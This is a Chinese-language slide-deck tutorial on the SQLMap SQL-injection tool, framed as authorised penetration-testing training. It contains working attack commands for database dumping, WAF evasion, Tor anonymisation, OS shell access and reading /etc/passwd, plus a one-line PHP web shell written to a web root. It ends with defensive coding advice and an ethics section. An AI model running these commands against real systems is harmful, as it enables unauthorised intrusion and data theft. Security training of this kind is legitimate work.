SQLMap 進階完整教學

專業滲透測試與安全評估指南

高級網路安全實務課程

2025 年度專業版

僅供授權環境與專業教學使用

22 詳細投影片
50+ 實戰命令
15+ 進階技術
100% 實戰導向

完整課程大綱

基礎篇 (1-6)

  • SQLMap 工具概述與架構
  • 安裝配置與環境準備
  • 基本語法與命令結構
  • 核心參數詳細解析
  • 支援的資料庫系統
  • 注入技術類型分析

進階篇 (7-14)

  • GET 注入深度實戰
  • POST 注入與表單處理
  • Cookie 與 Header 注入
  • WAF 繞過技術大全
  • Tamper 腳本編寫
  • 代理與隱蔽技術
  • 自動化腳本開發
  • 資料庫權限提升

專家篇 (15-22)

  • 系統命令執行技術
  • 檔案系統訪問方法
  • 複雜環境滲透測試
  • 錯誤處理與調試技巧
  • 效能優化與時間管理
  • 報告生成與文檔化
  • 防護措施與對策
  • 法律倫理與最佳實務
重要聲明:本課程內容僅供專業安全研究與授權測試使用,嚴禁用於非法活動

SQLMap 架構與工作原理

檢測引擎

自動化漏洞檢測與分類

Payload 生成器

動態生成測試載荷

繞過模組

WAF 與過濾器繞過

結果分析器

響應分析與結果判斷

安裝與環境配置

# Git 安裝 (推薦)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

# 套件管理器安裝
sudo apt-get install sqlmap  # Ubuntu/Debian
brew install sqlmap          # macOS

# Docker 容器化部署
docker pull paoloo/sqlmap
docker run --rm -it paoloo/sqlmap --version

基本語法與命令結構

sqlmap [OPTIONS] TARGET [TECHNIQUE]

步驟 1: 漏洞檢測

sqlmap -u "http://target.com/page?id=1"

步驟 2: 資料庫枚舉

sqlmap -u "http://target.com/page?id=1" --dbs

核心參數詳解

--dbs枚舉 DBMS 資料庫
--tables枚舉資料庫表格
--columns枚舉表格欄位
--dump轉儲表格資料
-D database指定資料庫
-T table指定表格
--batch自動模式
--level 1-5測試深度

GET 注入實戰演練

# 基本 GET 參數檢測
sqlmap -u "https://target.com/page.php?id=1" --batch

# 深度掃描
sqlmap -u "https://target.com/page.php?id=1" --level 3 --risk 2 --batch

# 完整資料庫枚舉
sqlmap -u "https://target.com/page.php?id=1" --dbs --current-user --is-dba --batch

POST 注入技術

# 基本 POST 測試
sqlmap -u "https://target.com/login.php" \
  --data="username=admin&password=test" \
  --method=POST --batch

# 使用請求檔案
sqlmap -r request.txt --batch

# Cookie 參數測試
sqlmap -u "URL" --cookie="PHPSESSID=abc123; user_id=1" -p user_id --batch

WAF 繞過技術

# 基礎繞過
sqlmap -u "URL" --random-agent --tamper=space2comment --batch

# 組合繞過
sqlmap -u "URL" --tamper=charencode,randomcase --delay 2 --batch

# 代理設定
sqlmap -u "URL" --proxy="http://127.0.0.1:8080" --batch

資料庫權限提升

# 權限評估
sqlmap -u "URL" --current-user --is-dba --batch

# 檔案系統操作
sqlmap -u "URL" --file-read="/etc/passwd" --batch

# 系統命令執行
sqlmap -u "URL" --os-shell --batch

Cookie 與 Header 注入

# Cookie 注入測試
sqlmap -u "URL" --cookie="user_id=1" -p user_id --batch

# HTTP Header 注入
sqlmap -u "URL" --headers="X-Forwarded-For: 127.0.0.1*" --level 3 --batch

# User-Agent 注入
sqlmap -u "URL" --user-agent="Mozilla/5.0*" --level 3 --batch

Tamper 腳本大全

# 常用 Tamper 腳本
--tamper=apostrophemask,base64encode,between
--tamper=charencode,charunicodeencode,equaltolike
--tamper=randomcase,space2comment,space2plus
--tamper=unionalltounion,versionedkeywords

# 組合使用範例
sqlmap -u "URL" --tamper=charencode,randomcase,space2plus --batch

代理與隱蔽技術

# HTTP 代理設定
sqlmap -u "URL" --proxy="http://proxy:8080" --batch

# Tor 網路
sqlmap -u "URL" --tor --check-tor --batch

# 隨機延遲
sqlmap -u "URL" --random-agent --delay 2 --batch

自動化腳本開發

# Python 自動化範例
import subprocess

def run_sqlmap(url):
    cmd = ['python', 'sqlmap.py', '-u', url, '--batch']
    return subprocess.run(cmd, capture_output=True, text=True)

# 批次掃描
targets = ["https://target1.com/page?id=1", "https://target2.com/search?q=test"]
for target in targets:
    result = run_sqlmap(target)
    print(f"掃描結果: {result.stdout}")

系統命令執行技術

# 獲取作業系統 Shell
sqlmap -u "URL" --os-shell --batch

# 執行特定系統命令
sqlmap -u "URL" --os-cmd="whoami" --batch
sqlmap -u "URL" --os-cmd="netstat -an" --batch

# 網路資訊收集
sqlmap -u "URL" --os-cmd="arp -a" --batch

檔案系統訪問方法

# 讀取系統檔案
sqlmap -u "URL" --file-read="/etc/passwd" --batch
sqlmap -u "URL" --file-read="/var/www/html/config.php" --batch

# 寫入檔案到系統
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch

# 創建簡單的 Web Shell
echo '<?php system($_GET["cmd"]); ?>' > webshell.php
sqlmap -u "URL" --file-write="webshell.php" --file-dest="/var/www/html/cmd.php" --batch

複雜環境滲透測試

# JSON API 測試
sqlmap -u "https://api.target.com/users" \
  --data='{"id": 1, "action": "get"}' \
  --headers="Content-Type: application/json" \
  -p id --batch

# 二階 SQL 注入
sqlmap -u "https://target.com/login.php" \
  --data="username=admin&password=test" \
  --second-order="https://target.com/profile.php" \
  --batch

錯誤處理與調試技巧

# 詳細輸出模式
sqlmap -u "URL" -v 6 --debug --batch

# 儲存會話資料
sqlmap -u "URL" --session-file="session.txt" --batch

# 記錄所有 HTTP 流量
sqlmap -u "URL" --traffic-file="traffic.log" --batch

# 測試特定負載
sqlmap -u "URL" --test-filter="MySQL" --batch

效能優化與時間管理

# 多執行緒設定
sqlmap -u "URL" --threads 5 --timeout 10 --batch

# 快速掃描模式
sqlmap -u "URL" --technique U --threads 10 --batch

# 優化設定
sqlmap -u "URL" --skip-static --keep-alive --compression --batch

報告生成與文檔化

# 自定義輸出目錄
sqlmap -u "URL" --output-dir="/tmp/sqlmap_results" --batch

# CSV 格式輸出
sqlmap -u "URL" --dump-format=CSV --batch

# 儲存完整會話
sqlmap -u "URL" --save="config.conf" --batch

# 從配置檔案載入
sqlmap --load="config.conf" --batch

防護措施與對策

// 使用 Prepared Statements (PHP)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$user_id]);

// 輸入驗證
function validateInput($input) {
    if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
        throw new Exception("Invalid input");
    }
    return $input;
}

// 輸出編碼
echo htmlspecialchars($user_data, ENT_QUOTES, 'UTF-8');

法律倫理與總結

法律與倫理準則

  • 授權測試:僅在獲得明確書面授權的環境中使用
  • 範圍限制:嚴格遵守測試範圍和時間限制
  • 資料保護:妥善保護獲取的敏感資料
  • 漏洞報告:負責任地披露發現的安全漏洞

課程總結

SQLMap 是強大的安全測試工具,真正的專業來自於對技術的深度理解、對法律的嚴格遵守,以及對倫理的堅持。讓我們用技術守護網路安全,為構建更安全的數位世界貢獻力量。

感謝您的學習!

願您在網路安全的道路上不斷精進,成為守護數位世界的專業人士。